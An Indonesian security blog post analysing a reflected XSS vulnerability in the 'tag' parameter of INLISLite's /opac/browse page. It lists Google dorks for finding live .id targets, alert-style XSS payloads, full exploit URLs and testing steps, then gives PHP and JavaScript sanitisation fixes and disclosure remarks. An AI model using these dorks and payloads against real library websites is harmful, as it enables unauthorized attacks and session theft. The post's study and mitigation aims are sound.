Loading Article...

Rizky Tempest Blog

Exploring Cyber Security, Networking, Programming & Technology

Exploit XSS pada INLISLite - Vulnerabilities Analysis

Analisis mendalam kerentanan Cross-Site Scripting (XSS) pada aplikasi INLISLite milik Perpustakaan Nasional dan teknik eksploitasinya.

INLISLite Logo

Gambar 1: Aplikasi INLISLite - Sistem Otomasi Perpustakaan

Pengenalan INLISLite

Halo semuanya, dalam postingan ini saya akan membagikan exploit untuk website yang menggunakan aplikasi INLISLite. Sebenarnya kerentanan ini sudah pernah ramai sebelumnya, namun karena masih lumayan banyak yang memakai aplikasi ini, jadi saya tulis saja disini.

INLIS (Integrated Library System) Lite adalah perangkat lunak aplikasi otomasi perpustakaan yang dibangun dan dikembangkan oleh Perpustakaan Nasional sejak tahun 2011. INLISLite dikembangkan sebagai perangkat lunak satu pintu bagi pengelola perpustakaan untuk menerapkan otomasi perpustakaan.

Referensi: Informasi resmi tentang INLISLite dapat dilihat di website Perpustakaan Nasional RI.

Identifikasi Target

Google Dork untuk Mencari Target

Gunakan query berikut untuk menemukan website yang menggunakan INLISLite:

inlis site:.id
"INLISLite" site:.id
"Online Public Access Catalog" site:.id
inlislite.opac site:.id
Etika Testing: Selalu lakukan testing hanya pada website yang memiliki program bug bounty atau telah mendapatkan izin testing.

Vulnerability Analysis

Parameter yang Vulnerable

Kerentanan XSS terdapat pada endpoint /opac/browse dengan parameter tag yang tidak melakukan sanitization input dengan benar.

Struktur URL Vulnerable

/opac/browse?action=browse&tag=&findBy=&query=&query2=

Proof of Concept

Payload XSS Basic

<img src=x onerror=alert('XSSTEST');>
<script>alert(document.domain)</script>
<svg onload=alert('XSS')>

URL Exploit Lengkap

https://target-domain.com/opac/browse?action=browse&tag=<img src=x onerror=alert('XSSTEST');>&findBy=&query=&query2=

URL Encoded Version

https://target-domain.com/opac/browse?action=browse&tag=%3Cimg%20src=x%20onerror=alert('XSSTEST');%3E&findBy=&query=&query2=

Contoh Implementasi

Contoh Target: https://inlis.example.go.id/opac/browse?action=browse&tag=<payload>&findBy=&query=&query2=

Testing Steps:

  1. Buka website target yang menggunakan INLISLite
  2. Navigasi ke halaman /opac/browse
  3. Tambahkan payload XSS pada parameter tag
  4. Submit request dan lihat hasilnya

Impact & Risk Assessment

Risk Level Impact Keterangan
Medium Session Hijacking Penyerang dapat mencuri session cookies
Low Defacement Mengubah tampilan halaman sementara
Medium Phishing Menampilkan form login palsu
Low Annoyance Alert box mengganggu pengguna

Mitigation & Solution

Rekomendasi Perbaikan: Implementasi input validation dan output encoding

PHP Solution:

// Input Validation dan Sanitization
$tag = filter_input(INPUT_GET, 'tag', FILTER_SANITIZE_STRING);
$tag = htmlspecialchars($tag, ENT_QUOTES, 'UTF-8');

// Atau menggunakan library khusus
$tag = $purifier->purify($_GET['tag']);

JavaScript Solution (Client-side):

function sanitizeHTML(str) {
    const div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}

// Usage
const safeTag = sanitizeHTML(getParameter('tag'));

Responsible Disclosure

Penting: Kerentanan ini telah dilaporkan melalui channel responsible disclosure yang sesuai. Selalu ikuti prinsip ethical hacking dalam melakukan security testing.

Kesimpulan

Kerentanan XSS pada INLISLite menunjukkan pentingnya implementasi input validation dan output encoding yang konsisten pada semua parameter user input. Meskipun terlihat sederhana, kerentanan seperti ini dapat berdampak serius jika dieksploitasi dengan tepat.

#MakeThemAware: Security awareness dan patch management yang baik sangat penting dalam menjaga keamanan aplikasi web.

Terima kasih kepada kalian semua yang sudah membaca artikel ini. Semoga bermanfaat untuk learning purpose!